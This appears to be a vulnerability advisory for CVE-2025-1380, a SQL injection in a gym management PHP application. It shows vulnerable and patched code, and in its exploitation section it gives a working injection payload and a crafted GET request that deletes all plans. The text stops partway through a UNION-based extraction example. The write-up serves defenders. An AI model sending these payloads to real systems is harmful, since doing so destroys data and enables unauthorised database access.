CVE-2025-1380

Executive Summary

CVE-2025-1380 is a critical unauthenticated SQL injection vulnerability in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/del_plan.php file, where the name parameter is directly concatenated into a SQL query without sanitization or parameterization. An attacker can remotely exploit this to extract, modify, or delete database contents, including user credentials and sensitive business data. A public proof-of-concept (PoC) exploit is available, increasing the risk of widespread scanning and attacks. No official patch exists, leaving all installations of this software vulnerable.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a standalone PHP application. However, organizations using this software should treat it as a supply chain risk due to the lack of vendor support and the public availability of exploit code.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full database access.

Deep Dive & Mechanics

The vulnerability exists in the del_plan.php script, which handles deletion of gym plans. The name parameter is retrieved from the HTTP request (likely via GET or POST) and used directly in a SQL DELETE statement without any sanitization or prepared statements.

Vulnerable Code Snippet (Conceptual):

<?php
$name = $_REQUEST['name'];
$sql = "DELETE FROM plans WHERE name = '$name'";
mysqli_query($conn, $sql);
?>

An attacker can inject SQL commands by providing a crafted name value, such as:

' OR '1'='1' -- -

This would result in the execution of:

DELETE FROM plans WHERE name = '' OR '1'='1' -- -'

This deletes all rows in the plans table. More sophisticated payloads can be used for data exfiltration, authentication bypass, or even remote code execution if the database user has file write privileges.

Vulnerable vs. Patched Code

Vulnerable Code (del_plan.php):

<?php
include 'config.php';
$name = $_REQUEST['name'];
$sql = "DELETE FROM plans WHERE name = '$name'";
if (mysqli_query($conn, $sql)) {
    echo "Plan deleted successfully";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (Recommended):

<?php
include 'config.php';
$name = $_REQUEST['name'];
$stmt = $conn->prepare("DELETE FROM plans WHERE name = ?");
$stmt->bind_param("s", $name);
if ($stmt->execute()) {
    echo "Plan deleted successfully";
} else {
    echo "Error: " . $stmt->error;
}
$stmt->close();
?>

The patched version uses a prepared statement with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Codezips Gym Management System 1.0
• Network access to the web application

Manual Exploitation:

1. Identify the vulnerable endpoint: http://target/dashboard/admin/del_plan.php
2. Send a crafted request to delete all plans:

   GET /dashboard/admin/del_plan.php?name=' OR '1'='1' -- - HTTP/1.1
   Host: target
   

3. For data extraction, use a UNION-based SQL injection:

   GET /dashboard/admin/del_plan.php?name=' UNION SELECT
